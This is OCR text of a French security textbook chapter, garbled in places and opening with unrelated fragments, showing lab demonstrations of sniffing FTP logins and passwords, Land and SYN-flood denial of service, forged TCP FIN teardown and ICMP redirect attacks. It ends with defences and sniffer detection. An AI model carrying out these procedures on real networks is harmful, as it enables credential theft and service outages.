systémes linéalres non entiers  ainst que dans la & de la des Infe et les principes ef
modelisation des phénomenes de difusion Lidentification i des el iss éri - Les

B et est 4 fravers  cystémes de communication par cables, fibres optigues et
I de divers 4 dérvées non  ondes radio (falsceaux hertriens, salellites, mobiles) sont
entigres, puis a des de nature di ensuite traltés en abordant & la fois les aspecls propagation,
ot fout 8 4 la ré: dun inverse  comp el systéme Ce Ihre confieni également une
en Les par ou Bse sur I des réseaun de communication (acces,
impig sont il i par  des longue distance, réseaux de données, ATM, Intemet el réseaux

temporels et fréquentiels Issus en grande partie du logiciel  locawd ainsl qu'un chapitre sur les technologles de la télévision
CRONE. L'ouvrage es! desting a tous ceux qui sontintéressés el du  multimédia.  Cet ouvrage integre les demiers |

Display type:
IHTI'I. =

7 195.6.196.194:80 => 172.16.16.211227 * 9079 bytes n 8 packet(s)
¥ 172.16.16.2:1227 m> 195.6,198.194:60 * 1 052 bytes n 2 packet(s)
Total 10 131 bytes in 10 packet(s), Session time: 0 second(s) Navigation: <[ 33| 3]

Les deux écrans ci-dessous montrent un autre exemple ol on ne voit pas
directement le nom du domaine du site visité par I’utilisateur victime, mais une
simple recherche dans les en-tétes HTTP des paquets capturés aboutira au nom de
ce domaine.

[172.1,16.2] [217.12.3.11]
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[SourceAddress  [DestAddess [Swemay |
[172.16.16.2] [[217 12.3.11] TEN=0 WIN=1¢
[217.12.3.11] |[172 16 16.2] © D=1469 5=80 S¥N ACK-1008284815 SEQ=1977116¢
172.16.16.2 217.12.3.11] |TCP: D=80 S=1469 ACK=1377116939 UIN=17520

TCE: D=1486% 5=30 ACK=100828514¢6
HTTP: R Port=1469 HTHL Data
TCE: D=146%9 5=80 FIN ACE=100828514¢
P 0 5=1469 ACE=1977117141
0 5=1469 FIN ACE=1977117141
ACK=1008285147
=80 S5=1470 SYN SEQ=100843365¢6
SYN ACK=1008433657
ACK=299776£9573
# HTTE~1.1
ArT=11

application-vnd.ms—excel, applicationsvnd . ms-powerpoint. ap
plication/msword, *-%

Accept-Language: fr

Accept-Encoding: gzip. deflate

Tser—igent: Mozills-4.0 {compatible: MSIE 6.0; Windows NT S
0: 0312461}

Connection: Heep-Ailive

En effet, dans le second écran, Line 6 de I’en-téte HTTP du paquet numéro 4
montre clairement le nom du domaine du site visité par la victime, en I’occurrence
www.yahoo.fr.

4.5. Récupération des logins et mots de passe des services FTP

Rappelons que le service FTP offre deux modes de connexion, le mode anonyme
et le mode utilisateur.

Dans le mode anonyme, I’utilisateur peut accéder au service sans avoir besoin de
s’authentifier par un login et un mot de passe. Par contre pour le mode utilisateur,
I’authentification est obligatoire. L’utilisateur doit taper un login et un mot de passe
corrects pour accéder au service.

Le schéma suivant illustre la capture, par un sniffer, des login et mot de passe
d’un utilisateur autorisé a accéder a un service FTP (figure 4.1).
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Serveur FTP
M 172.16.16.4

Firate
Acces FIP

NON autorise

Figure 4.1. Le service FTP en mode utilisateur

Au départ, avec Sniffer Pro, le pirate visualise les connexions dans son réseau et
arrive & identifier le type de connexion entre les deux machines d’adresses
172.16.16.4 et 172.16.16.2, & savoir une connexion FTP (I’écran ci-dessous).

::E;Sniﬂer - Local, Ethernet (Line speed at 10 Mbps) - [Snif5_FTP: Exp - Dlﬂ
}'_‘ FilZ" Monitor  Capture  Display  Tools Database  Window Help - ﬁ‘lil
| v o] ] ] ] [ermut vl|
=(u| 8|5 SlmloleE=seE 2 ¢ &
BN
» Het Station 1 | haet Station 2 | Protocal | Requests
4| [172.16.16.2] [172.16.16.4] FTP 7 e
s
g
Service (1) 2
"
o
f=s
B
Application {13 1
qI»
Diagnoses
Sympkoms 4] | ﬂ
Objects Il
Expert A, Decode A Matrix 4 Host Table /i Protocol Dist. i Statistics /
For Help, press F1 =] A | 7| A, 264 A

L’utilisateur demande au sniffer de décoder les paquets de la session FTP, pour
analyser le contenu de leurs en-tétes. Dans I’écran ci-dessous, I’en-téte FTP du
paquet numéro 6 montre clairement le login (USER) tapé par I’utilisateur autorisé.
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er - Local, Ethernet {Line speed at 10 Mbps) - [Snif5_FTP: Dec =10 LI
MW File Montor Capture Display Took Database Window Help & x|

| | A rr—-|
| 81| @lslnle=wlalm 2 ¢ =

Mo Source Address Dest address Summary Len [B] »
01 172 .16.16.2 172 1616 .4 TCP: D=21 5=109% SYN SEQ=322541%102 LEH=0 WIH=1f62
)2 172.16.16. 4 172.16.16.2 TCP: D=1099 5=21 SVN ACE=3225419103 SEQ=3452435%5 62
|3 172.16.16.2 172.16.16 . 4 TCP: D=21 5=1099 ACK=3452435995 WIN=17520 60
)4 172.16.16.4 172.16.16 .2 FTP: R PORT=1099 220 Fastresam NETFile FTP Sers( 94 (|
(s 172 .16 .16.2 172 .16 .16 .4 TCP: D=21 5=1099 ACK=3452436035 WIN=17480 60
6 172 .16 .16. 2 172.16.16 .4 FTP: C PORT=1099 USER tunisl 67
17 172.16.16.4 172.16 16 . 2 FTF. E FORT=1099 331 Password reguired for tur89
ik 172 .16 .16.2 172.16.16 .4 TCP: D=21 5=1099 ACK=3452436070 WIN=1744% &0
19 172 .16 .16.2 172.16.16 .4 FTF: C PORT=109%9  PASS tunis2 67
[]/10 172 .16.16.4 172.16.16.2 FTF: R PORT=109% 230 Tser tuni=l logged in. a2
)11 172 .16.16.2 172 .16 .16 .4 TCEP: D=21 5=109%9 ACK=3452436098 WIN=17417 &0
({12 172 .16 .16.2 172 .16 .16 .4 FTP: C PORT=1099 PORT 172.16.16.2.4.7% 77
1/13 172.16.16. 4 172.16.16 .2 FTP: R PORT=1099 200 Port command successful 84
[]]14 172.16.16.2 172.16 .16 .4 FTP: C PORT=1099 NIST 60 -
lic 172 16 16 4 127 16 16 2 TP Ti=1100 S=70 SVH crn:u:f’m::m TEM=N TWTH=1¢ 62 rl
1 »

TCE: co.. ...0 = (Wo FIN) -]

48 TCP: Vindow = 17480

@ TCE: Checl=sunm = 903C (correct)

@ TCF: Ho TCP options

8§ TCP: [13 Bytes of data]

. - EB TCP:
£-38 FTP: ——— File Transfer Data Protocol ————
B FTE:

M FTP: Line 1. USER tunisl

10§ FTE: -
Expert , Decode J Matrix A Host Table A Protocol Dist. A, Statistics /

For Help, press F1 =] A | bl A, | 254 v

er - Local, Ethernet {Line speed at 10 Mbps) - [Snif5_FTP: Dec =10 LI
MW File Montor Capture Display Took Database Window Help & x|

I r—
2w 8l lsmlnlomEweln 2l ¢ &

Mo Source Address Dest Address Summary Len[B] o
01 172.16.16.2 172 16 .16 . 4 TCE: D=21 5=109% SYN SEQ=3225419102 LEN=0 WIN=1f62
12 172.16.16. 4 172.16 .16 .2 TCP: D=1099 S5=21 SVN ACKE=3225419103 SEQ=3452435%62
mlE 172.16.16.2 172.16 16 .4 TCP: D=21 5=1099 ACK=3452435995 WIN=17520 60
0|2 172.16.16.4 172 .16 .16 .2 FTP: E PORT=1099 220 Fastrssm NETFils FTP Sers{94 |_|
1|5 172 .16.16.2 172 16 .16 .4 TCP: D=21 5=1099 ACK=3452436035 WIN=17480 60
6 172.16.16.2 172,16 .16 . 4 FTP: C PORT=109%9 TSERE tunisl 67
17 172 .16.16.4 172.16 .16 . 2 FTF. R FORT=1099 331 Password reguired for tur89
i 172.16.16.2 172 16 .16 . 4 TCE: D=21 5=1099 ACK=3452436070 WIN=17445% 60
19 172.16.16.2 172,16 .16 .4 FTE: C PORT=109%9 P4SS tunis2 67
110 172.16.16.4 172 16 .16 .2 FTF: R PORT=109% 230 Uszer tuni=l logged in. a2
({11 172.16.16.2 172 16 .16 . 4 TCP: D=21 5=109%9 ACK=3452436098 WIN=17417 60
[]12 172.16.16.2 172 16 .16 . 4 FTP: ©C PORT=109% PORT 172 .16.16.2.4.76 77
1/13 172.16.16. 4 172.16.16 .2 FTP: R PORT=1099 200 Port command successful 84
0|14 172.16.16.2 172 .16 .16 .4 FTP: © PORT=1099  HIST 60 |,
:I 1ic 172 18 1/ A 172 16 16 7 TP Ti=1100 S=27N SV Q'E‘ﬁ:‘?ﬂﬁii’ijﬁﬁﬂ‘) TEW=N _TITH=1¢l A7 rl
4 »

B TCE: co.. ...0 = (Wo FIN) -]

48 TCP: Vindow = 17445

48 TCP: Checksun = 2640 (correct)
{3 TCP: ¥o TCP cptions

8§ TCP: [13 Bytes of data]

8 1CF
B FTP ——— File Transfer Data Protocol —

B FTE:

M FTP: Line 1. PASS tunis?

10§ FTE: -
Expert , Decode J Matrix A Host Table A Protocol Dist. A, Statistics /

For Help, press F1 =] A | bl A, | 254 v
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Dans I’écran ci-dessus, I’en-téte FTP du paquet numéro 9 dévoile le mot de
passe (PASS) tapé. Désormais, le pirate n’a qu’a utiliser ces clés pour accéder au
serveur FTP.

4.6. Récupération des fichiers texte téléchargés a partir d’un serveur FTP

Rappelons que le service FTP utilise deux types de canaux de communication.
Le premier, appelé canal de commandes, est utilisé pour envoyer des commandes
sur le port 21 du cété du serveur ; le second, appelé canal des données, pour envoyer
les données sur le port 20 ou un port supérieure du c6té du serveur.

Dans ce qui suit, nous décrivons comment grace a un sniffer une personne non
autorisée parvient a visualiser le contenu d’un fichier de type texte qu’un utilisateur
légal a téléchargé a partir d’un serveur FTP.

Avec Sniffer Pro, le pirate visualise dans un premier temps les connexions dans
son réseau et arrive a identifier le type de connexion entre les deux machines
d’adresses 172.16.16.4 et 172.16.16.2, & savoir une connexion FTP.

Il décode ensuite les paquets de la session FTP, pour analyser le contenu de
leurs en-tétes.

= Sniffer - Local, Ethernet {Line speed at 10 M| i m) ﬂ
"_' File Monitor Capture Display Tools Database Window Help = 1[

| RS i\HW”
B|u| 85| sl|o|s|E ez 2l ¢ o

Source Address Dest Address Summary Len [B] |
] 26 [172.16 16.2] [172.16.16.4] |[TCF: D=21 5=1099 ACK=3452436195 WIN=17320 60
[1]27 [172.16 . 16.2] [172.16.16.4] |Ezpert: Window Frozen 77
FTF: C PORT=1099  FORT 17Z.16.16.2.4.77
1|28 [172.16.16.4] [172.16.16.2] |[FTF: R PORT=1099 200 Port command successful . |84
[1]29 [172.16.16.2] [172.16.16.4] |FTF: C PORT=1099 RETE test.t=t 69
1|30 [172.16.16.4] [172.16.16.2] FTF: R POET=109%9 150 Opening data connection 97
1|31 [172.16 . 16.4] [172.16.16.2] |[TCF: D=1101 S5=20 SYN SEQ=3456489038 LEN=0 WIN=1¢62
1|32 [172.16.16.2] [172.16.16.4] [TCF: D=20 S=1101 SYN ACK=345648903%9 SEQ=3229842862
1|23 [172.16.16.4] [172.16.16.2] |[TCF: D=1101 S=20 ACK=3229842884 WIN=17520 60
134 [172.16.16.4] [172.16.16.2] Ezxpert: FTEF Slow First Eesponse BE
FTF: R PORT=1101 Text Data
1|35 [172.16.16.4] [172.16.16.2] |[TCE: D=1101 S5=20 FIN ACK=3229842884 SEQ=3456489060
1|36 [172.16.16.2] [172.16.16.4] |[TCF: D=20 S=1101 ACK=3456489052 WIN=17508 60
1|27 [172.16.16.2] [172.16.16.4] |TCP: D=20 S=1101 FIN ACK=3456489052 SEQ=3229842860 |
zl 28 r172 16 16 a1 r172 16 16 21 |Tre- n-11n1 c=on Ar*v;wvlumvnm: TTH=17520 en 'H
.0 = [¥o FIN} =]
1 Window = 17290
: Checksum = DI1C1 {correct)
: Ho TCP options
: [15 Bytes of data]
B% FTP: ———— File Transfer Data Protocol ———-
1 FTF:
M FTP: Line 1: RETR test.txt
-0y FTF: -
Expert 4 Decode f, Matrix A\ Host Table A, Protocol Dist. jy Statistics /
Far Help, press F1 &S e || R [2e4 4
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L’en-téte FTP du paquet numéro 29 (I’écran ci-dessus) montre clairement que
I’utilisateur a lancé la commande FTP : « RETR test.txt ». Cette commande sera
transmise dans le canal de commandes (port 21) et demande le téléchargement du
fichier test.txt a partir du serveur FTP.

L’utilisateur sait pertinemment que, dans un service FTP, les données sont
envoyeés sur le canal de données (pour notre exemple de I’écran ci-dessous : le port 20).
Donc, le décodage des paquets échangés dans le canal de données permet de
visualiser le contenu du fichier test.txt, & savoir : « ENSI...2005 ».

i Sniffer - Local, Ethernet (Line speed at 10 Mbps) - [Snif5_FTP: | e, 34/47E =1B] x|

Fil: Moritar Capbure Display Toals Daksbass  window =8| x|
| »| i w8 | B =]
ra-" 8|5 olao|o =@ alRE 2 e &

Souce fddiess | et Address Summaiy | Len BFL
] 26 [172.16.16.2] [172 .16 .16 .4] TCP: D=21 5=1099% ACE=3452436195 WIN=-17320 &0
0|z7 (172.16.16.2] |[(172.16.16 4] |Empert: Vindow Frozsn 77
[ 196 PORT 172.16.16,2.4.,77

|28 [172 .16 .16 4] [172.16.16.2] 2 ort comnand successful. |84
1] 22 [172.16.16.2] [[172.16.16.4] R test. txt 69
3 30 [172.16.16_4] [172.16.16.2] 150 Opaning data connection £97

31 [172 .16 .16 4] [172 16 .16.2] SYH SE0=3456489038 LEW=0 WIN=1f62
L]]32 [172.16.16.2] [172 . 16.16.4] SYN ACK=3456489039 SEQ-3229842F/62
123 [172.16.16.4] [172.16.16.2] ACK=3229842854 WIN-17520 &0
Cllz4  |[172.16 16 4] |[172.16.16.2] g : 66

FTP: E POR'I' 1101 __Teﬁt Data :

)38 [172.16.16.4] [[172.16.16.2] |TCP: D=1101 S=20 FIN ACK=3229842884 SEO-345640%9 ESU
ELD [172.16.16.2] [172.16.16.4] TCE: D=20 5=1101 ACH=2456489052 FIN=17508
i 37 [172.16.16.2] [172 .16 .16 .4] TCP: D=20 S5=1101 FIN ACK=3{56489052 :E';‘=332384EE SD =

an F172 16 16 471 17172 14 14 21 |TrP. Te1in1 S=20 ATV s1770R4 PAAC MTH=1 76520 an ’J
q 3

oy TCP: oo, ...0 = (Ho FIN) -]

- TCP: Window = 17520

ig TCP: Checksum = BiDl {correct)

=B TCP: Ho TCP options

E-STFP. [12 Bytes of data]
i Tee:
g-fg FTP: ————- FTF Data —-—

-8 FTE:

M FTE: Line 1: ENSI... . 2005

L D FTI -
Expert /\ Decode A Mabrix A Host Table & Profocol Dist, S1a1islir.s{
Far Hel, press F1 & iy | 22, | 264 |

4.7. Les attaques de déni de service (DoS)

Plusieurs sniffers tels que CommView ou Sniffer Pro intégrent des générateurs
de paquets. Ces générateurs permettent de produire des paquets ARP, ICMP, TCP
ou UDP. lls offrent en général aux utilisateurs une interface graphique conviviale
pour mettre a jour les valeurs des champs des différents en-tétes des paquets, et
ensuite envoyer ces paquets a des machines cibles. Un habitué des protocoles
TCP/IP et des attaques de déni de service (DoS) peut exploiter ces générateurs pour
construire des paquets mal formés (par exemple, des paquets avec de faux champs et
de fausses valeurs ou des paquets mal fragmentés) afin de causer des dénis de
service au niveau des machines cibles.
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4.7.1. Exemple 1 : I’attaque Land

A titre d’exemple, le générateur de paquet de CommView est utilisé pour réaliser
I’attaque Land de déni de service sur une machine victime. Rappelons que I’attaque
Land consiste a envoyer a une machine cible un faux paquet TCP Syn (qui est le
premier paquet envoyé lors de I’établissement d’une connexion TCP) avec les
mémes adresses de source et de destination ainsi que les mémes ports de source et
de destination. La machine cible risque de subir une saturation ou de se planter
puisqu’elle envoie des paquets a elle-méme et répond aussi a elle-méme.

Afin de montrer au lecteur comment un agresseur peut arriver a planter un
serveur FTP de type Fastream (www.fastream.com), tournant sur une machine
Windows 2000, avec I’attaque Land, nous allons procéder a I’expérience suivante.

Etape 1

Le serveur FTP de type Fastream est installé sur une machine Windows 2000
d’adresse 172.16.16.2 dans un réseau de test (figure 4.2). Avant I’attaque, toute
machine client FTP du réseau peut se connecter au serveur FTP pour télécharger les
fichiers disponibles.

Serveur FTP ; .
La machine quiva lancer
Fastream I'attaque du Land de DoS
172.1616.2 172.16.16.3

:l-] |'1\-
i 3

Client m‘%ﬁ Client FTP ! gﬁzﬂ%

Figure 4.2. Le serveur FTP avant I’attaque

Etape 2

CommView est installé dans la machine d’adresse 172.16.16.3 (figure 4.3), afin
d’utiliser son générateur de paquet pour construire un faux paquet TCP Syn avec les
mémes adresses de source et de destination (172.16.16.2) ainsi que les mémes ports
de source et de destination (port 21).
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Serveur FTP Générateur de paquet
Fastream du Sniffer CommView
172.16.16.2 172.16.16.3
o L'attaque Land 3
I LAN
N

Client Fm'iéz;.-j Client FTP é\' ~.,

" i "

Figure 4.3. Lancement de I’attaque Land

L’émission de ce paquet (écran ci-dessous) est répétée sans interruption vers
la machine serveur FTP (I’adresse de destination est donc: 172.16.16.2) et avec
un débit de 1 000 paquets par seconde. Le but de la manceuvre est de saturer le
serveur FTP. Une fois le serveur saturé, aucune machine client FTP n’est en mesure
d’y accéder.

=18 x|
© 00 S0 00 AR AR AR OO0 50 00 EB BE
1P version: 0x04 () 0:x10: 00 28 L1 11 00 00 80 06 Bl 9A AC
fr"“*;‘“g“_”“‘;iﬁnjz“ bytes 0xz0: 10 0z 00 15 oo 1s [gfcc cc co oo
[+ Type of service: O 2
Totallength: 00028 (40) 0x30: 40 00 5D FA 00 0O
1D: 0x1111 (4369)
[+ Flags =
Fragrment offset: 0x0000 (0) resse IP source =
Tirne to live: 0380 (128) resse IP destination
Protocol: 0x06 (8) - TCP
Checksum: 0xB194 (45466) - co
Source 1P: 172.16.,16.2
Diestination 1P 172,16.16 2 Port source =
1 TR Ontens i Hons Port destination
= TCP - e e e el
Source port; 21
Destination port: 21
Sequence: ICCCCCCCE (3435973536)
Acknowledgement: 0x00000000 (5)
Header length: 0105 (5) - 20 bytes
[ Flags: YN
tear Le bit SYN=1 (U td
ACK: D e bi = (! n paquet de
PSH: 0 demande d’établissement de
g connexion TCP)
SYN: 1
FIN: O
Ml s aken Ed e, ‘ﬂ
Z | - d |
[~ Packet Generator
Packet size: 54 <] Continuously Send
Packets per second: |1ogo f‘ r |1 == time(s)
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Pour construire un paquet TCP Syn, I’utilisateur n’est pas dans I’obligation de
saisir la totalité des champs des en-tétes du paquet, a savoir les en-tétes Ethernet, IP
et TCP. Autrement, I’opération serait fastidieuse.

Tout d’abord, a partir du trafic normal, I’utilisateur capture, avec CommView,
un paquet TCP Syn. Ensuite, il doit sélectionner ce paquet, et, dans le menu
contextuel®, choisir I’option « Send packet(s) ». Aprés quoi, le générateur de paquet
de CommView s’ouvre automatiquement avec les en-tétes Ethernet, IP et TCP
initialisés avec les valeurs du paquet sélectionné. L’utilisateur n’a alors qu’a
remplacer I’adresse destination MAC par I’adresse MAC du serveur FTP. Il doit
également modifier I’adresse IP de destination et de source et le port de source et de
destination pour avoir respectivement les valeurs 172.16.16.2 et 21. Pour avoir
I’adresse MAC du serveur FTP, il lui faut lancer la commande ping sur la machine
du serveur FTP et ensuite taper la commande « arp -a » pour voir son cache ARP et
par la méme récupérer I’adresse MAC du serveur FTP.

Résultat de I’expérience

En quelques secondes, le serveur FTP n’est plus en mesure d’accepter aucune
demande d’établissement de connexion (figure 4.4). Le serveur est donc planté ou
pour le moins dans un état de saturation tel qu’il ne peut répondre a la moindre
demande de connexion.

Serveur FTP Générateur de paguet
Fastream du Sniffer CommView
172.16.16.3

L'attaque Land

Figure 4.4. L’attaque est réussie

1. Le menu contextuel s’obtient en cliquant avec le bouton droit de la souris.
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Exemple 2 : L’attaque Syn flooding

Syn flooding signifie « inondation de Syn ». C’est une attaque qui affecte la
plupart des systemes d’exploitation en exploitant un des points faibles de la
connexion TCP/IP, I’ouverture d’un nombre important de demi-connexions de
TCP/IP (half-open connections).2

Pour perpétrer cette attaque, |’agresseur lance des milliers d’ouvertures de
connexions TCP vers une machine offrant un quelconque service et se garde de
répondre pour empécher ces connexions d’aboutir. Avec un générateur de paquet, tel
celui de CommView, la réalisation d’une telle attaque est simple. Il suffit de
construire un paguet TCP avec le bit Syn initialisé a 1 (demande de connexion TCP)
et une adresse source fictive, ensuite I’envoyer avec un débit trés important. De cette
maniére, la machine sera inondée de demandes d’ouverture de connexions et ces
connexions ne seront jamais établies, puisque I’adresse source est inexistante.

Tous les systémes connectés a Internet et fournissant des services basés sur des
connexions TCP3 sont potentiellement exposés a ce type d’attaque. Il importe de
signaler qu’en plus des attaques lancées sur un héte spécifique, celles-ci peuvent étre
lancées contre des routeurs, des firewalls, ou autres équipements ou serveurs offrant
les mémes services TCP.

4.8. La désactivation des connexions TCP

Cette attaque consiste a désactiver une connexion TCP. Exemple : un utilisateur
est en train, a travers un réseau, de consulter le site www.yahoo.fr, et un autre
utilisateur, sur le méme réseau, est en train d’espionner cette connexion, avec
CommView. Les ports source et destination de la connexion (c6té serveur et coté
client) sont donc affichés devant le pirate. Si ce dernier décide de désactiver cette
connexion, il doit sélectionner un paquet TCP de cette connexion, choisir I’option
«Send Packet(s) » pour que le générateur de paquet de CommView s’ouvre
automatiquement avec ce paquet et modifier le bit FIN dans I’en-téte TCP4. Il
demande ensuite la correction de la valeur de la somme de controle (Checksum), et
transmettre le paquet vers le serveur de Yahoo (écran ci-dessous). La connexion web

2. Pour de plus amples informations sur le protocole TCP, se reporter au chapitre 1.
3. Les services web, FTP ou SMTP, par exemple.
4. Le bit FIN permet de clore une connexion TCP établie.
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entre I’utilisateur et le serveur web est immédiatement coupée, sans que ni
I’utilisateur ni le serveur de Yahoo n’en fassent la requéte.

Il est évident que ce type d’attaque peut altérer le bon fonctionnement du
réseau et les utilisateurs ne manqueront pas de faire des réclamations aupres
de I’administrateur du réseau, en raison des coupures intempestives de leurs
connexions TCP.

Cependant, il n’est vraiment pas possible pour un administrateur réseau
d’identifier ni la raison de ces coupures ni I’agresseur. Le paquet ne porte en effet
aucune information du type adresse MAC ou IP permettant d’identifier la source
de I’attaque.

B Send Packets via Intel{R) PRO/ 100 ¥M Network Connection . =10l x|
EEd »] foz00: 00 03 oF 02 0z 22 00 0z A5 BE E3 82 08 00 45 0O
18 warsion: (4 (4 x10: 00 30 37 5A 40 00 80 06 25 20 AC 10 10 D2 54 3§
?““:mwh!ufnggdmbm’ lox20: 8B 06 OB 21 00 50 BO C6& 7F SF 00 00 00 00 70
[8] Type of service: :
Totallangth: 0:0030 (45) %30: 40 00 68 FE 00 00 OZ 04 05 B4 0L OL 04 02
0 023754 (14170)
¥} Flags

Fragment offset: 00000 (1)
Tirre to lives 080 (128)
Protocol: 0006 (5) - TCP
Checksum: 052520 (¥504) - comect
Source IP: 172,16.16.2
Destination TP: 84.53.142.6
1P Optisns: More
B=-Tcp
Sourte port: 2849
Drasririation port: S0
Sequence: IXBOCETFIF (2365795315)
Acknowledgement: 000000000 (1)
Header length: 0s07 (7) - 28 bytes
Flags: FIN
URG: 0
ACK: 0

Le bit FIN=1 (Un paquet de
demande de terminaison
a5 d'une session TCP)

sl - ‘ |

Packet Generator
Packet size EZ """ " Continuoushy Send I
Packets per second Jio & |1 ! time{s) | 1of1 packsts sent

4.9. L’attaque de déviation avec un paquet ICMP

Un message ICMP de déviation peut étre transmis par une passerelle vers une
machine reliée au méme réseau pour lui signaler que la route n’est pas optimale.
Une fois la déviation effectuée, les paquets seront acheminés vers la passerelle
appropriée (figure 4.5).
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2éme routage

Route par defaut Redirection ICMP

Figure 4.5. Déviation avec le protocole ICMP

Dans le chapitre 1, nous avons détaillé le format de I’en-téte d’un paquet ICMP.
Pour un paquet ICMP de déviation, le champ Type a comme valeur 5 et le champ
Code une valeur située entre 0 et 3.

Code Signification
0 Redirigé pour un réseau
1 Redirigé pour une machine
2 Redirigé pour type de service et réseau
3 Redirigé pour type de service et machine

Le champ SPECIFIQUE indique a la machine I’adresse du routeur (ou
passerelle) gu’elle doit utiliser pour router les paquets (figure 4.6).

Figure 4.6. Le format d’un paquet ICMP de déviation

Cette attaque consiste & envoyer un paquet ICMP de type déviation (type = 5) &
une machine cible afin de corrompre I’adresse IP de son routeur. L’agresseur peut
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utiliser un générateur de paquet, par exemple celui de CommView, pour préparer le
faux paquet ICMP de déviation et I’envoyer a la machine cible (écran ci-dessous).
L’agresseur tape une fausse adresse de route de sorte que la machine cible utilise
désormais une route qui n’existe pas et par conséquent elle ne peut plus
communiquer avec les machines situées en dehors du réseau de la machine cible.
Cette machine ne peut plus accéder a Internet par exemple. Il sera trés difficile pour
un administrateur réseau de détecter pourquoi les utilisateurs n’arrivent pas a se
connecter. Seule une analyse minutieuse permettra a I’administrateur de détecter la
présence de paquets ICMP de déviation qui sont a I’origine du probléme.

: =101
: 00 30 4F 2Z €6 56 00 0Z AS B6 E3 8Z 08 00 45 00
Destinaion MAC: 00304 226656 0x10: 00 3C OA 31 00 00 80 01 B8 S4 AC 10 10 02 AC 10
Sasria ACLIOIARIEE 142 %20: 10 15 05 00 4E SA OL D1 OL O 61 62 63 64 65 66
EXartyper G000 (ol - 1P %30: 67 €8 €9 6A 6B 6C 6D 6E &F 70 71 72 73 74 75 76
lox40: 77 61 62 63 64 65 66 67 68 69

IP warsion: 0304 (4)
Header bengths 0105 (5 - 20 bytes
Type of service: 0x00 (1)
Total bength: r003C (60)
1D: 010431 (2609)
3 Flags
Fragment offzet: 0r0000 (0)
Tiewe to liwe: 0v80 (128)
Protocol: 001 (1) - ICMD
Chacksurn: (BS54 (47188) - comect
Source 1P: 172.16.18.2
Dastination 1P: 172.16.16.25
1P Optiona: Nons La fausse adresse de route
of =L
Toype: 0efS (5) - Redirect
Codat 0r00 (1) - Redirect datagrams For the network
Checksum: 0r4ESA (Z00SE) - comea /
Gateway Internat Address: 1.1.1.1
41 Original packet

Packet Generator

Packet size: frs * & Continuously Send |

Packets per second: o = Ch < time(s)

Pour se protéger contre ce type d’attaque, une machine doit étre configurée pour
refuser les paquets ICMP de déviation. Par exemple, sous Windows 2000/XP, il
suffit d’initialiser le registre EnablelICMPRedirect a 0. Le chemin du registre
EnablelICMPRedirect dans Windows 2000/XP est :

« HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters »

Sous Linux RedHat version 6.2, il faut éditer le fichier « Zetc/sysctl.conf » et
ajouter les lignes suivantes :

# Disable ICMP Redirect Acceptance
net.ipv4.conf.all_accept_redirects = 0
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4.10. Résumé du chapitre 4

Ce chapitre détaille les risques potentiels et les attaques qu’un agresseur, muni
d’un sniffer, peut réaliser contre les utilisateurs réseaux. Les exemples présentés sont
réels et visent une meilleure sensibilisation aux problémes relatifs au sniffing. Les
divers scénarios exposés démontrent la facilité de réalisation des attaques avec des
sniffers. Avec peu de connaissance réseau, notamment en protocoles TCP/IP et en
services réseaux (FTP, HTTP, etc.), un agresseur peut aisément mener plusieurs de
ces attaques. Ces scénarios démontrent également les faiblesses et les vulnérabilités
liées aux protocoles et services réseaux, notamment le protocole ARP et les services
Internet non cryptés.

Il est donc impératif de disposer de techniques et d’outils efficaces pour détecter

ces activités malveillantes. Le chapitre suivant présente les techniques et les outils
de détection des sniffers dans les réseaux Ethernet partageés.
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CHAPITRE 5

Les techniques et les outils
de détection des sniffers
dans les réseaux Ethernet partagés

La détection des cartes réseau en mode promiscuous permet de déceler la
présence de toute activité suspecte visant a capturer ou a analyser le trafic.

Ce chapitre se propose de présenter dans un premier temps les différentes
techniques de détection des sniffers dans les réseaux Ethernet partagés, ensuite les
outils de détection des sniffers (les anti-sniffers) les plus connus.

5.1. Le concept du mode promiscuous

Les cartes Ethernet réseau sont construites par défaut avec une adresse MAC
unique stockée sur 6 octets. Chaque constructeur dispose de sa propre plage qui
permet ainsi d’attribuer un identifiant unique pour chaque interface.

Les adresses MAC sont obtenues gréce au protocole ARP! et chaque résultat est
stocké dans un cache local?, de fagon a éviter d’initier pour chaque nouveau paquet
une nouvelle requéte. Une interface réseau en mode normal accepte uniquement les

1. Voir chapitre 1.
2. Appelé « cache ARP » ou « table ARP ».
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paquets qui lui sont destinés ou bien les paquets de diffusion (broadcast)® ou de
multidestination (multicast). Cependant il est possible d’activer le mode
promiscuous dans les interfaces réseaux pour récupérer de facon transparente
I’ensemble des paquets circulant sur le réseau et destinés a des tiers. La détection
d’une activité de ce genre est alors trés difficile puisqu’il s’agit d’un comportement
passif qui n’interagit pas avec le fonctionnement normal du réseau.

5.2. Les filtres systéeme

Avant d’atteindre le noyau d’un systeme d’exploitation pour traitement, un
paquet passe en général par deux filtres, a savoir le filtre matériel (ou le filtre
hardware) localisé au niveau de la carte réseau et le filtre logiciel au niveau du
noyau du systeme d’exploitation (figure 5.1). Ainsi, la carte réseau assure d’abord le
filtrage matériel des paquets ; ensuite, si le paquet est accepté par le filtre matériel, il
est alors transmis vers le filtre logiciel qui le transmet a son tour au noyau du
systeme pour traitement.

Filtre logiciel

e

Filtre materiel

Le noyau du systéme
d’exploitation

La carte réseau

r 3

< { LAN >

Figure 5.1. Le filtre matériel et le filtre logiciel

Le mode promiscuous permet essentiellement de capturer I’ensemble des paquets
circulant sur un réseau. L’activation de ce mode entraine la désactivation du
seul filtre matériel, le filtre logiciel au niveau du noyau du systéme demeurant
toutefois actif.

3. Typiquement utilisées par le protocole ARP.
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5.2.1. Le filtre matériel

Le filtre matériel est localisé au niveau de I’interface réseau. Il a pour but de ne
transmettre au noyau que les paquets destinés a la machine elle-méme en tant
gu’héte unique (unicast) ou hdte d’un réseau (broadcast et multicast). Le filtre
matériel dispose donc de plusieurs modes de fonctionnement dont voici la liste :

— unicast : considérant que chaque interface réseau recoit une adresse MAC
unique, le filtre matériel ne laisse donc passer que les paquets destinés a cette méme
adresse MAC ;

— broadcast : les paquets broadcast sont destinés a I’ensemble des hotes du
réseau et permettent généralement de véhiculer des messages de notification. Le
protocole ARP qui permet de trouver I’adresse MAC d’un héte a partir de son
adresse IP est un exemple de protocole qui génére des requétes ARP broadcast. Les
paquets broadcast ARP utilisent I’adresse destination MAC FF:FF:FF:FF.FF:FF.
Dans ce cas le filtre matériel autorise les paquets broadcast a atteindre le filtre
logiciel du noyau du systéme ;

— multicast : un paquet multicast est destiné a un groupe de hétes. L’utilisation
d’adresse multicast permet d’adresser n machines a partir d’une source unique. Son
mode de fonctionnement repose sur I’utilisation de groupe multicast. Ainsi toutes les
